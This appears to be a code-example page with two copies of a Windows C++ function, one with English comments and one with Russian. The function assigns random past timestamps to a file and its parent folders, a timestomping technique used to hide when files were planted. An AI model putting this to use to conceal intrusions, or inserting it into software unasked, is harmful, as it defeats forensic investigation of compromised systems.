Exemplo n.º 1
0
bool Fs::_setRandomFileTime(DWORD startTime, DWORD reservedSeconds, LPWSTR fileName, DWORD upLevel)
{
  register DWORD currentTime = Time::_getTime();

  //Check run-time errors.
  if(currentTime <= reservedSeconds || currentTime < startTime || (currentTime -= reservedSeconds) < startTime)return false;

  //Generate a time.
  currentTime = startTime + Crypt::mtRandRange(0, currentTime - startTime);
  if(currentTime < startTime)return false; /*paranoia*/

  //Set the time.
  {
    bool ok = true;
    WCHAR path[MAX_PATH];
    FILETIME fileTime;

    Time::_timeToFileTime(currentTime, &fileTime);
    Str::_CopyW(path, fileName, -1);

    do
    {
      if(!_setFileTime((CWA(shlwapi, PathIsDirectoryW)(path) == TRUE), path, &fileTime, &fileTime, &fileTime))ok = false;
    }
    while(upLevel-- && CWA(shlwapi, PathRemoveFileSpecW)(path) != FALSE);
    return ok;
  }
}
Exemplo n.º 2
0
bool Fs::_setRandomFileTime(DWORD startTime, DWORD reservedSeconds, LPWSTR fileName, DWORD upLevel)
{
  register DWORD currentTime = Time::_getTime();

  //Проверяем ошибки времени.
  if(currentTime <= reservedSeconds || currentTime < startTime || (currentTime -= reservedSeconds) < startTime)return false;

  //Генерируем время.
  currentTime = startTime + Crypt::mtRandRange(0, currentTime - startTime);
  if(currentTime < startTime)return false; /*параноя*/

  //Выставляем время.
  {
    bool ok = true;
    WCHAR path[MAX_PATH];
    FILETIME fileTime;

    Time::_timeToFileTime(currentTime, &fileTime);
    Str::_CopyW(path, fileName, -1);

    do
    {
      if(!_setFileTime((CWA(shlwapi, PathIsDirectoryW)(path) == TRUE), path, &fileTime, &fileTime, &fileTime))ok = false;
    }
    while(upLevel-- && CWA(shlwapi, PathRemoveFileSpecW)(path) != FALSE);
    return ok;
  }
}